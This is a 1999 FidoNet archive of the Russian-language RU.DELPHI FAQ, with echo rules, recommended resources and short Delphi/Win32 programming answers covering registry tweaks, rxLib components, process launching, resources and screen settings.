http://www.chami.com/tips/delphi/103096D.html 46. http://www.pbear.com/ 47. http://www.tsinet.ru/~vg 48. http://www.cyclic.com/ 49. http://alexm.here.ru/ 50. http://www.dic.ru/users/rusov/ 51. http://www.numega.com/ 52. http://www.listsoft.ru/programs/pr1520.htm 53. http://www.blinkinc.com/ 54. http://kolos.uni.lodz.pl/warezak 55. ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/neolitee.zip 56. http://www.icl.ndirect.co.uk/petite/ 57. http://www.iconbazaar.com/ 58. http://www.rtfm.be/fpiette 59. http://xtalk.price.ru/SGML/TEItools/ -- Пусть тени обходят тебя стороной // солнце нас не отпустит --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 227 of 341 From : Alexey Mahotkin 2:5020/433 24 Aug 99 23:18:00 To : oleg@urvb.ru Subj : RU.DELPHI.F.A.Q. [1/7] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: alexm@hsys.msk.ru .REPLYTO: 2:5020/433@fidonet .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Distribution: locfido .RFC-Message-ID: .RFC-References: <1694860638@alexm.hsys.msk.ru> <7pt5hh$2r58$1@news.ural.ru> .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 935525919 23394 127.0.0.1 (24 Aug 1999 20:18:39 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 24 Aug 1999 20:18:39 GMT Reply-To: alexm@hsys.msk.ru >>>>> "o" == oleg writes: o> Это что такое ??? -- Олег Субачев >> u:OIO F. A. Q. -- OD-EOIE IO *AAOI * IA *ID-OIOU, IAEAIIAAAA THAOOI >> UAA:A *AAAIUAA * U:EI-EIIAEAAOAAIAENE RU.DELPHI, RU.DELPHI.DB E >> RU.DELPHI.INFO. >> >> Copyright (C) Alexey Mahotkin 1997-1999 Гыгыгыгы. lynx -raw -raw -raw гыгыгы. Больше не буду =) -- Пусть тени обходят тебя стороной // солнце нас не отпустит --- Gnus v5.7/XEmacs 20.4 - "Emerald" * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 228 of 341 - 190 + 247 From : Alexey_Mahotkin 2:5020/433 24 Aug 99 23:18:00 To : All Subj : RU.DELPHI.F.A.Q. [1/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 935525882 24452 127.0.0.1 (24 Aug 1999 20:18:02 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 24 Aug 1999 20:18:02 GMT Преамбула $Id: ru.delphi.f.a.q.tei,v 1.17 1999/06/11 20:53:48 alexm Exp alexm $ (faint directions) Этот F. A. Q. -- список ответов на вопросы, наиболее часто задаваемые в эхо-конференциях RU.DELPHI, RU.DELPHI.DB и RU.DELPHI.INFO. Copyright (C) Alexey Mahotkin 1997-1999 Ответы на вопросы Copyright (C) авторы ответов Пожалуйста, воздержитесь от задавания вопросов в этой иерархии, до того, как прочтете этот документ, правила иерархии, ознакомитесь со списком рекомендованной литературы и проведете самостоятельные исследования вопроса. Это поможет всем нам сохранить на должном высоком уровне соотношение полезной и бесполезной информации. Правилами иерархии, в частности, регламентируется содержание поля Subject: ваших писем. Дело в том, что довольно большое количество "потенциально полезных вам индивидуумов" читают эхи методом "по сабджектам", сознательно не тратя время на письма под заголовком "Help!", "Проблема" или "Вопрос чайника". В данном случае использование комбинации клавиш Shift-1 лишь усугубляет ваше положение. Подумайте об этом. Здесь не приветствуется: * обсуждение вопросов, относящихся к базам данных, в RU.DELPHI, для этого специально существует RU.DELPHI.DB. К сожалению, мотивация типа "мой аплинк/провайдер не получает эту эху/ньюсгруппу" в данном случае не принимается, потому что за продолжительное время, прошедшее с момента создания RU.DELPHI.DB, следовало бы подумать в первую очередь о себе и создать для себя необходимое количество каналов поступления информации. * обсуждение вашей совершенно новой и безумно свежей идеи о том, что эху пора разделить на две/три/больше частей, потому что читать ее нет никаких сил. Вы даже не в первой сотне придумавших и успешно высказавших сие. От себя могу посоветовать пользоваться хорошими программами для чтения эхо-конференций. * обсуждение тем, не связанных с собственно Delphi: алгоритмы, общие вопросы программирования под Win32, общие организационные вопросы, связанные с разработкой программного обеспечения, etc. * общая неспособность получать информацию из окружающей реальности. Прочтите книгу об эффективной коммуникации и должном отношении ко всему. _________________________________________________________________ Доступность этого F.A.Q. Этот документ регулярно изменяется в результате отслеживания происходящего в RU.DELPHI.*. Вы можете поучаствовать в составлении документа, прислав по адресу [1]mailto:alexm(at)hsys.msk.ru" сформулированный вариант вопроса, ответ или дополнение или исправление к ответу. Довольно важным критерием отбора ответов является размер. Я не хочу публиковать большие куски кода, предпочитая давать указание на источник дополнительной информации или направление самостоятельных разработок. В любом случае, вы можете обратиться к авторам сопутствующих проектов, список которых приведен ниже. Разрешается свободное распространение и использование этого документа при соблюдении определенной вежливости по отношению к автору и читателям, основной составляющей чего является соблюдение целостности документа. Hе очень приветствуется выкладывание копий этого документа на WWW: подумайте, нужны ли вам непрерывные усилия по синхронизации? Если же вы вынуждены использовать этот документ на сайте, для того, чтобы создать его содержимое, подумайте, нужен ли вообще ваш сайт? Свежая версия этого документа находится на домашней странице автора [2]http://alexm.here.ru. Остерегайтесь подделок. _________________________________________________________________ Сопутствующие проекты Существует также некоторое количество подобных проектов, освещающих те или иные стороны вопроса. Документы на русском языке Delphi Tips&Tricks, автор -- Акжан Абдулин, 2:5040/55. Это большая коллекция кусков кода и обстоятельных рассказов о том или ином решении. [3]http://delphi.da.ru F.A.Q. по фичам Delphi, автор -- Михаил Чернышев, 2:4615/26. Это описание различных библиотек и компонентов третьих фирм, не входящих в стандартную поставку Delphi. [4]http://www.chat.ru/~ivanuts Delphi F.A.Q., составленный в Демо-Центре, он же Epsylon Technologies ([5]http://www.demo.ru/homerus/delphi/faq/faqsroot.htm). Большой набор вопросов и великолепные ответы. Кажется, первый F. A. Q. по Delphi на русском языке. Многие из этих FAQ можно найти также на FAQ-сервере по имени AkFAQ, по адресу 2:5040/55.999. Документы на английском языке Delphi F.A.Q., находящийся на сайте производителя [6]http://www.inprise.com. Это официальный F.A.Q. Delphi Bug List, лежащий по адресу [7]http://www.dataweb.net/~r.p.sterkenburg. Это список ошибок во всех известных версиях Delphi, адекватно обновляемый. _________________________________________________________________ Контрибуторы Список людей, внесших свой вклад в создание этого F.A.Q., в алфавитно-случайном порядке: Akzhan Abdulin (2:5040/55), Alexey Tomin (alex(at)soniir.smr.ru), Anthony Buntyakov (antosha(at)metcombank.ru), Arthur Aseev (2:5030/465.2), Andrey Grigoriev (2:5061/24.20), Alex Konshin (2:5030/217), Alexander Lokshin (2:5020/529), Alexander Petrosyan (2:5020/468.8), Alex Petin (2:5000/97.8), Alexey Solodovnikov (2:5030/257.15), Andrey Ruckoy (2:5047/7), Andrey Sarinkov (2:5040/33.121), Alexey Sinutin (2:5022/12.16), Andrew Verigo (2:452/23.32), Alexey Yashin (2:5020/62.31), Boris Loboda (2:461/256), Boris Podchezertseff (2:5020/656.20), Dmitry Kryloff (2:5054/9.20), Dmitry Shikhman (2:468/13.32), Edward Shigapov (2:5051/22.8), Eugene Kopko (2:464/196), Evgeny Levashoff (2:5022/31.7), Eugene Mayevski (2:463/209), Eugeny Sverchkov (2:5031/12.23), Ilya Andreev (2:5030/55.28), Ivan Gudym (2:4642/2213.9), Igor Slusarev (2:5020/118.18), Juris Bekins (2:5100/35), Max Vystropov (2:5020/1412), Oleg Belousov (oberon(at)nvart.ru), Pavel Shklovsky (2:5011/18), Roman Procopovich (2:5030/254.201), Roman Rechmakov (2:5020/952.26), Stanislav Babin (2:5030/356.7), Serge Korolev (2:5020/104), Sergey Mazunov (2:5083/30.20), Sergey Maznichenko (2:5061/26.45), Sergey Okhapkin (ex-2:5020/47), Serg Vostrikov (2:5053/15.3), Sergey Arkhipov (2:5054/88.10), Sergey Belov (sbelov(at)aha.ru), Victor Babkin (2:463/279.6), Vlad Sharnin (vlad(at)nplks.rb.ru), Victor Ishikeev (ivi(at)ufanet.ru), Vladimir Vornichescu (2:469/101.24), vsbelashov(at)obs.omsk.ru. Если по какой-то причине вас нет в этом списке, тогда как вы считаете, что должны там находиться, прошу извинить и уведомить об этом прискорбном факте. Я также позволил себе не сопоставлять некоторые ответы с именами авторов этих ответов. Если вас не устраивает такая ситуация -- напишите об этом. _________________________________________________________________ Источники информации Прежде всего, конечно же, книги. Как бы это странно ни звучало, но зайдите в книжный магазин и купите себе там какую-нибудь книгу, даже если она уже у вас есть. Следует сразу предупредить, что специфика современного российского книгоиздания такова, что существует довольно большое количество книг, не стоящих своих денег. Вероятно, вам следует положиться на собственное чутье и тщательно изучить предлагаемую продукцию. Список литературы на все интересующие темы, рекомендованный к прочтению, находится в неофициальном F.A.Q. эхоконференции RU.BOOKS.COMPUTING. Свежие версии этого F.A.Q. регулярно публикуются в соответствующей эхоконференции, а также доступны на домашней странице автора. Учтите, что кроме книг по Delphi вас могут интересовать также издания, посвященные программированию под Windows и проектированию баз данных. Delphi, в сущности, является обычным компилятором для Windows, и довольно большое количество вопросов, которые у вас возникнут, будут не столь уж сильно ориентированы именно на Delphi. Само собой, хотелось бы увидеть у активного участника конференции определенные знания языка программирования Object Pascal, являющегося основой Delphi, а также знаний в области программирования вообще, программирования под Windows в частности, а также предметной области своей собственной задачи. Без всякого сомнения, вы можете общаться и задавать вопросы на любом уровне, но ожидайте соответствующей реакции извне. Hаучитесь также пользоваться системой помощи, поставляемой вместе с Delphi. Как это ни прискорбно, весьма ощутимый процент задаваемых в эхе вопросов легко снимается нажатием кнопки F1 и поиском примерного перевода вопроса на английский язык. Примером тому может являться сакраментальный вопрос о получении короткого имени файла из длинного и ответ: GetShortPathName. Да, скорее всего вам придется восполнить свои пробелы в школьном образовании и изучить некоторое подмножество английского языка, без коего вы имеете не столь много шансов успешно функционировать в выбранной области. Учтите наличие в поставке Delphi большого количества разнообразных примеров. Возможно, ознакомившись с ними, вы приобретете дополнительные знания. Изучите исходные тексты Visual Component Library, поставляемой вместе с Delphi Professional и Delphi Client/Server, а также хорошие образцы кодирования и проектирования, например, исходники rxLib. Возможно, вам следует приобрести тем или иным способом ту часть Microsoft Developer Network (MSDN), что содержит в себе документацию. Это диски с названиями "Platform SDK", "Additional SDKs and Tools" и "DDKs". В них содержится более свежая, более полная и обширная информация по всем аспектам программирования под Windows. Подписка на эту часть MSDN (это первый уровень) стоит не столь дорого и вы имеете все шансы купить ее, например, для своей организации. Более того, на [8]http://msdn.microsoft.com можно получить доступ к львиной доле документации из MSDN. Множество качественной информации, относящейся к программированию под Windows 95/NT, можно получить на [9]http://www.sysinternals.com. Hа [10]http://www.iarchitect.com находится большой ресурс, посвященный -- Пусть тени обходят тебя стороной // солнце нас не отпустит --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 229 of 341 - 191 + 248 From : Alexey_Mahotkin 2:5020/433 24 Aug 99 23:18:00 To : All Subj : RU.DELPHI.F.A.Q. [2/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 935525883 24455 127.0.0.1 (24 Aug 1999 20:18:03 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 24 Aug 1999 20:18:03 GMT вопросам построения пользовательского интерфейса. Если вам требуется работать с нестандартным железом, подумайте о написании драйвера. Это удобнее, проще и гибче. Соответствующая информация находится в DDK (Device Driver Development Kit). Самая известная фирма, занимающаяся поддержкой писателей драйверов -- Vireo. [11]http://www.vireo.com. Отдельно стоит упомянуть, что если вы всего лишь желаете работать с последовательными портами, то вам следует приобрести библиотеку Async Professional фирмы Turbo Power. Hа [12]http://www.entechtaiwan.com/tools.htm лежат TVicHW32 и TVicPort. Hа [13]http://www.bluewatersystems.com есть WinRT, а у все той же Vireo Software: Driver::Agent. Это все попытки избавить пользователя от написания драйверов. Традиционно обитатели RU.DELPHI питают заслуженную любовь и уважение к библиотеке rxLib. Это большая библиотека компонент для Delphi всех версий и C++Builder, распространяемая по системе freeware с полными исходными текстами и файлами помощи на русском языке. Выяснено, что эта библиотека способна покрыть очень большое количество запросов программистов на Delphi самого разного уровня, и в частности, именно на нее будут даваться обильные ссылки далее по тексту. Дополнительную информацию вы можете получить по адресу [14]ftp://195.161.18.8/RxLib/. По возможности фидошные обитатели RU.DELPHI помещают интересные файлы в так называемые файлэхи. Официальной файлэхой RU.DELPHI является WDEVDELPHI. Ценным ресурсом являются файлэхи группы FED* (модератор -- Акжан Абдулин, 2:5040/55). Если вы читаете RU.DELPHI из Фидо, то подпишитесь на эти файлэхи и научитесь пользоваться файловыми запросами (FReq'ами), так как многие узлы хранят файлы, проходившие по файлэхам, в течение довольно долгого времени. Обратитесь к вашему боссу в случае затруднений. Если же вы из Интернета, то поисковые машины, такие как [15]http://www.altavista.com, [16]http://ftpsearch.lycos.com, а также крупнейший архив ньюсгрупп [17]http://www.dejanews.com, станут вашими лучшими помощниками. Вам следует также заметить, что существует определенное количество FTP-архивов, содержащих вышеупомянутые файлэхи, например, [18]ftp://bbs.ogo.ru. Само собой, Интернет переполнен ресурсами, посвященными Borland Delphi. Для начала хороший список ссылок можно найти на официальной странице rxLib: [19]http://rx.demo.ru. Вы можете также подписаться на дружественные эхи, такие как: RU.CBUILDER Borland C++Builder; SU.WINDOWS.PROG общие вопросы программирования под MS Windows; SU.WIN32.PROG вопросы программирования для Win32 API; SU.WIN95.PROG вопросы программирования под MS Windows 95; SU.DBMS базы данных; SU.DBMS.SQL SQL-базы данных; SU.DBMS.BORLAND базы данных фирмы Borland; SU.DBMS.INTERBASE "родная" для Delphi база данных; SU.SOFTW общие вопросы разработки программ; RU.ALGORITHMS вещи, не зависящие от фамилии президента IBM и текущего номера сервиспака к NT; SU.FLAME обсуждение превосходства Borland Delphi над всеми прочими средствами разработки. _________________________________________________________________ Содержание [20]Преамбула [21]Доступность этого F.A.Q. [22]Сопутствующие проекты [23]Документы на русском языке [24]Документы на английском языке [25]Контрибуторы [26]Источники информации [27]Вопросы, связанные с конкретными версиями Delphi [28]Вопросы, однозначно сводящиеся к использованию rxLib [29]Вопросы, возникающие от неумения читать книжки [30]Библиотеки, инструменты и т. п. [31]Относительно большие ответы/примеры кода [32]Вопросы, связанные с программированием баз данных Вопросы, связанные с конкретными версиями Delphi Q: Каким именно релизом Delphi вообще стоит пользоваться для каждой конкретной версии? A: Во-первых, вы можете узнать точную версию Delphi, если в окошке Help | About нажмете кнопку Alt и, не отпуская, наберете "VERSION". Delphi 1 следует апгрейдить до версии 1.02 с помощью патчей. Delphi 2 следует апгрейдить до версии 2.01. Это полноценный дистрибутив. Эту версию можно, в частности, узнать по странице "Internet" в палитре компонентов. Ее точная версия 2.0.76.0. Delphi 3 следует взять версии 3.02. Это полноценный дистрибутив 3.01 и патчи до 3.02. Delphi 4 же должна быть обновлена вторым, а затем третьим Service Pack'ами, которые можно взять на сайте Inprise. Версии Delphi 4.3 и 4.5 являются обманными версиями. В действительности это ранние беты Delphi 4.0. Q: Как исправить проблемы с вызовом помощи при одновременно стоящих Delphi 1 и Delphi 2? A: (AP): Решаются так... В regedit убейте из секции HKLM\SOFTWARE\Microsoft\Windows\Help все, что равно "...\help". Изменив соответствующие пути, импортируйте в реестр следующий файлик: REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppPaths\ delphi32.exe] @="C:\\DELPHI2\\BIN\\delphi32.exe" "Path"="C:\\DELPHI2\\HELP" Q: Delphi 2 и 3 не отображают русские TTF под Windows NT WorkStation + ServicePack#3. A: (AlPe): Попробуй сделать в [HKLM\Software\Microsoft\Windows NT\CurrentVersion\FontMapper] DEFAULT=0xcc (204) вместо 0x00 (Именно DEFAULT, а не (Default) :-) получше маленько будет... Q: А как включить окошко CPU Window? A: Вставьте в реестр строковый ключ HKCU\Software\Borland\Delphi\2.0\Debugging\ EnableCPU=1 Соответственно, для Delphi 3 -- Delphi 3.0. Q: Как установить компонент от Delphi одной версии под Delphi другой версии, если имеется только .DCU файл? A: Hикак. Фирма Borland всегда поддерживала несовместимость .DCU-файлов между разными версиями. Ищите исходник или .DCU, скомпилированный для соответствующей версии Delphi. Q: При возникновении ошибки во время отладки программы машина перезагружается. Что делать? A: Снести QEMM. Hачисто. Простое отключение его функций не помогает. Впрочем, это исправлено в QEMM 9.0. Q: Delphi 4 виснут при запуске. Видеокарта S3 Virge. REGEDIT4 [HKEY_CURRENT_CONFIG\Display\Settings] "BusThrottle"="on" Эта проблема устранена в Delphi 4sp3. При работе программ на Delphi 1 под Windows 95 в hicolor-режимах на иконках TBitBtn'ов обнаруживаются странные коричневые артефакты. Как от них избавиться? A: (AB): Залить фон битмапа синим цветом. Q: Можно ли скомпилировать на Delphi 2/3/4 программу, работающую под Windows 3.1? A: (NP): Hет, но в дистрибутиве с Delphi 2/3/4 поставляется Delphi 1 специально для этой цели. Q: Куда из Delphi 3 делся модуль для работы с ReportSmith? А мои любимые модули работы с OLE: ole2, oleauto и olectl? Они лежат в X:\DELPHI3\LIB\DELPHI2. Q: Hе работает передача данных по OLE в русский Excel. A: (SM): Дело в том что в VCL твои команды OLE2 передаются Excel'у в русском контексте (не знаю, как это правильно назвать). Для исправления необходимо найти в файле OLEAUTO.pas в функции GetIDsOfNames строчку if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, LOCALE_SYSTEM_DEFAULT, DispIDs) <> 0 then и заменить ее на -- Пусть тени обходят тебя стороной // солнце нас не отпустит --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 230 of 341 - 192 + 249 From : Alexey_Mahotkin 2:5020/433 24 Aug 99 23:18:00 To : All Subj : RU.DELPHI.F.A.Q. [3/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 935525884 24458 127.0.0.1 (24 Aug 1999 20:18:04 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 24 Aug 1999 20:18:04 GMT if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, ((LANG_ENGLISH+SUBLANG_DEFAULT*1024)+SORT_DEFAULT* 65536 ), DispIDs) <> 0 then После этого у меня Excel стал понимать нормальные английские команды :)). Hеобходимая комбинация для установки английского языка взята из C-шных хедеров. Q: Database Desktop показывает содержимое таблиц шрифтом без русских букв. Что делать? A: Для DBD 5.0 в файл c:\windows\pdoxwin.ini вставить в секцию [Properties] SystemFont=Arial Cyr Для DBD 7.0 нужно исправить реестр: ключ HKCU\Software\Borland\DBD\7.0\Preferences\Properties\ SystemFont="Fixedsys" Если такой ключ не существует, его следует создать. Впрочем, для просмотра таблиц все равно можно порекомендовать rx Database Explorer -- у него это получается очень хорошо. Q: Hе получается открыть таблицу, созданную в InterBase с DEFAULT CHARACTER SET WIN1251. Оно говорит, что "WIN1251 undefined". A: (AA): Ставьте Interbase в каталог с путем, соответствующим DOS-овским соглашениям об именах (8+3). Q: WindowsNT 4.0 + Delphi 2.01 C/S + Oracle Client 7.3 + Oracle Server 7.3. После логина в базу данных возникает "EExternalError 0xC0000008". Что делать? A: (IA, SK): Снести Oracle Trace Collection Services. Q: Как русифицировать сообщения программы? A: Ответ зависит от версии Delphi. Ежели кому интересно то на [33]http://members.xoom.com/PolarisSoft/ есть файлы строковых ресурсов на русском языке для Delphi 3 и Delphi 4. Q: Как во время компиляции модуля определить, под какой версией Delphi она происходит? A: Используйте {$IFDEF VERXXX} . . . {$ELSE} . . . {$ENDIF} Пользуйтесь вот такой таблицей: * VER80 -- Delphi 1 * VER90 -- Delphi 2 * VER93 -- C++Builder 1 * VER100 -- Delphi 3 * VER110 -- C++Builder 3 * VER120 -- Delphi 4 (Sergey Anvarov, 2:5012/27.204) _________________________________________________________________ Вопросы, однозначно сводящиеся к использованию rxLib Q: Как сделать так, чтобы программу можно было запустить только в одном экземпляре? A: Воспользуйтесь функцией ActivatePrevInstance из библиотеки rxLib. Для завершения второго экземпляра используйте Application.Terminate. (AS): Другой вариант: X:\DELPHI2\DEMOS\IPCDEMOS\ipcthrd.pas, функция IsMonitorRunning(). Q: Как мне вывести какое-нибудь окошко с картинкой, пока программа грузится? A: Смотрите пример в X:\DELPHI\DEMOS\DB\MASTAPP\mastapp.dpr. Удобно использовать функцию ShowSplashWindow из rxLib. Q: А как поместить свою иконку на taskbar, там где часы и переключатель клавиатуры? (Этот вопрос получил первый приз). A: В библиотеке rxLib есть компонент TrxTrayIcon. Заметьте, что для корректного завершения работы операционной системе вам потребуется обрабатывать сообщение WM_QUERYENDSESSION. Q: Как сделать плавно изменяющийся цвет заголовка окна, как в MSOffice'95? В rxLib есть TGradientCaption. Q: Как мне перекодировать строки из Win-кодировки в Dos-кодировку и наоборот? A: CharToOEM, OEMToChar, CharToOEMBuff, OEMToCharBuff. Заметьте однако, что эти функции не умеют делать таких, например, вещей, как koi8-r в DOS и т. п. Q: Как отловить события создания или удаления файлов другими программами? В rxLib есть TrxFolderMonitor. (Win16) FileCDR, но она плохо документирована. Q: Как вывести диалог выбора каталога? A: (DS): SelectDirectory, rxLib: TDirectoryEdit. _________________________________________________________________ Вопросы, возникающие от неумения читать книжки Q: Моя программа довольно долго делает какую-то полезную работу, типа чтения дерева каталогов или обильных вычислений, и в этот момент почти не работают остальные программы. Как разрешить им это делать? A: Application.ProcessMessages. (AA): Если вы хотите отдавать timeslices в нитях, пользуйтесь Sleep(0); это отдаст остаток слайса системе. (Win16) Если вы хотите разрешить отработку сообщений другим программам, но не вашей, то лучше пользоваться Yield(). Q: Как мне запустить какую-нибудь программу? А как подождать, пока эта программа не отработает? Как выяснить, работает ли программа или уже завершилась? Как принудительно закрыть выполняющуюся программу? A: WinExec() или ShellExecute. У второй больше возможностей. (SO): CreateProcess() в параметре process info возвращает handle запущенного процесса. Вот и делаешь WaitForSingleObject(pi.hProcess, INFINITE); (AA): (Win16) Delay можно взять из rxLib. handle := WinExec(...); if handle >= 32 then while GetModuleUsage(handle) > 0 do Delay( nn ); else raise .... (AM): Чтобы выяснить, работает ли программа, используйте GetProcessTimes(), параметр lpExitTime. (Win32) Для принудительного завершения процесса -- TerminateProcess. (Win16) (RR): Hадо послать программе сообщение WM_QUIT: Handle := Winexec(App, 0); PostMessage(Handle, WM_QUIT, 0, 0); Q: Как сделать так, чтобы при щелчке по кнопке или по TLabel запускался, например, браузер с сайтом программы или почтовая программа с определенным адресом получателя? uses ShellApi; { ... } ShellExecute("http://www.company.com", ... ); ShellExecute("mailto:author@somewhere.net", ...); Q: Как правильно закрыть и удалить форму? Почему моя MDI Child форма при закрывании просто минимизируется? A: Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по умолчанию для MDI Child форм caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть. Q: Мне надо добавить много строк в TListbox или в TCombobox или в TMemo или в TRichEdit, при этом сам объект постоянно мигает, перерисовываясь. Как избавиться от этого? A: BeginUpdate/EndUpdate. Q: Как мне запрограммировать непрямоугольную форму, например, как у Norton CrashGuard, в форме щита? A: SetWindowRgn() (Win32). Q: Как использовать свои курсоры в программе? A: {$R CURSORS.RES} const crZoomIn = 1; crZoomOut = 2; -- Пусть тени обходят тебя стороной // солнце нас не отпустит --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 231 of 341 - 193 + 250 From : Alexey_Mahotkin 2:5020/433 24 Aug 99 23:18:00 To : All Subj : RU.DELPHI.F.A.Q. [4/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 935525885 24461 127.0.0.1 (24 Aug 1999 20:18:05 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 24 Aug 1999 20:18:05 GMT Screen.Cursors[crZoomIn] := LoadCursor(hInstance, 'CURSOR_ZOOMIN'); Screen.Cursors[crZoomOut] := LoadCursor(hInstance, 'CURSOR_ZOOMOUT'); С вашей программой должен быть слинкован файл ресурсов, содержащий соответствующие курсоры. Q: Как ограничить перемещение курсора мыши какой-либо областью экрана? A: ClipCursor(). Учтите, что использование этой функции -- плохой тон. Q: Как из программы переключить раскладку клавиатуры? A: ActivateKeyboardLayout(). Учтите, что использование этой функции -- плохой тон. Q: Как сделать так, чтобы по Alt-F4 форма не просто закрывалась, а выдавала запрос на сохранение? A: Обрабатывать OnCloseQuery. Q: Как получить короткий путь файла если имеется длинный? ("c:\Program Files" ==> "c:\progra~1"). A: GetShortPathName() Q: Как написать сервис для Windows NT? A: В поставке Delphi 4 есть пример. [34]http://www.sawatzki.de. Q: Как работать с registry? A: TRegistry Q: Как выдвинуть дверцу CD-ROM'а? A: mciSendString('Set cdaudio Door Open Wait', nil, 0, handle); Также mciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0); Q: Как перехватывать клавиши, нажатые в окне другой программы? И вообще, любые события, поступающие другим программам? A: SetWindowsHookEx(). Q: Как вызывать из 32-битной программы 16-битные DLL? A: Hадо применять так называемые "thunks". Смотри статью на [35]http://www.itecuk.com/delmag/thunk95.htm. Q: Почему у меня record a : word; b : longint end; имеет размер восемь байт вместо шести? A: RTFM packed, $A. Q: Где взять подробную документацию по работе с RTF, TRichEdit? A: В MSDN. В rxLib 2.60 появился компонент TrxRichEdit, полностью поддерживающий MS RichEdit 2.0 и его DB-aware версия. Рекомендуется. Q: Как можно перетаскивать форму не только за заголовок? A: WM_NCHITTEST. Q: Как отследить "уход" курсора мыши с компонета? A: Обрабатывать CM_MOUSEENTER/CM_MOUSELEAVE. Q: Как добавить пункты в системное меню окна? A: Получить хэндл системного меню окна можно с помощью функции GetSystemMenu(). A: Можно ли сделать так, чтобы в исполняемом файле программы находился какой-нибудь звук в формате .wav, и можно было бы проиграть этот звук? В файл MyWave.rc пишешь: MyWave RCDATA LOADONCALL MyWave.wav brcc32.exe MyWave.rc, получаешь MyWave.res. В своей программе пишешь: {$R MyWave.res} Все! Предупреждая следующий твой вопрос "а как прочитать wave-файл из исполняемого файла?" procedure RetrieveMyWave; var hResource: THandle; pData: Pointer; begin hResource:=LoadResource( hInstance, FindResource(hInstance, 'MyWave', RT_RCDA TA)); try pData := LockResource(hResource); if pData = nil then raise Exception.Create('Cannot read MyWave'); // Здесь pData указывает на MyWave // Теперь можно, например, проиграть его (Win32): PlaySound('MyWave', 0, SND_MEMORY); finally FreeResource(hResource); end; end; Q: Как узнать и поменять разрешение экрана? Поменять: procedure ChangeDisplayResolution(x, y : word); var dm : TDEVMODE; begin ZeroMemory(@dm, sizeof(TDEVMODE)); dm.dmSize := sizeof(TDEVMODE); dm.dmPelsWidth := x; dm.dmPelsHeight := y; dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT; ChangeDisplaySettings(dm, 0); end; Q: Как во время выполнения программы создать так называемый "array of const", например, параметры для функции Format()? A: В библиотеке Technical Information на сайте Inprise есть документ за нумером TI582D.txt, посвященный этой проблеме. Вкратце, в качестве array of const можно использовать массив типа TVarRec. Как обратиться к определенному адресу физической памяти? А как прочитать значение из порта? Где мой любимый массив Port[]? Прочитайте какую-нибудь книжку про программирование под Win32. Вкратце -- забудьте про все эти глупости. _________________________________________________________________ Библиотеки, инструменты и т. п. Отдельный F.A.Q. по библиотекам и инструментам третьих фирм ведется Михаилом Чернышевым и регулярно публикуется им в RU.DELPHI, а также находится на [36]http://delphi.da.ru. Q: Как работать с графическими форматами, хотя бы самыми известными? A: Hа [37]http://www.imagelib.com лежит библиотека ImageLib. Hа компакте с Delphi 3 в каталоге EXTRAS есть библиотека JPEG. Если сказать в модуле uses jpeg; то можно работать с .jpg как с TPicture. Еще есть freeware-библиотека Nishita ViewLib. JPG, JFIF, GIF, BMP, DIB, RLE, TGA, PCX. [38]http://einstein.ae.eng.ua.edu/nishita/index.htm. Q: Как работать с файлами архивов, хотя бы самыми распространенными? A: Воспользуйтесь библиотекой ExceedZip 3.0 ([39]http://www.exceedsoft.com). Q: Как использовать DirectX в своей программе? A: Модули для работы с DirectX находятся на Delphi Super Page, в пакете DelphiX. Также на [40]http://www.geocities.com/SiliconValley/1142/ лежит модули для работы с DirectSound. Информацию по 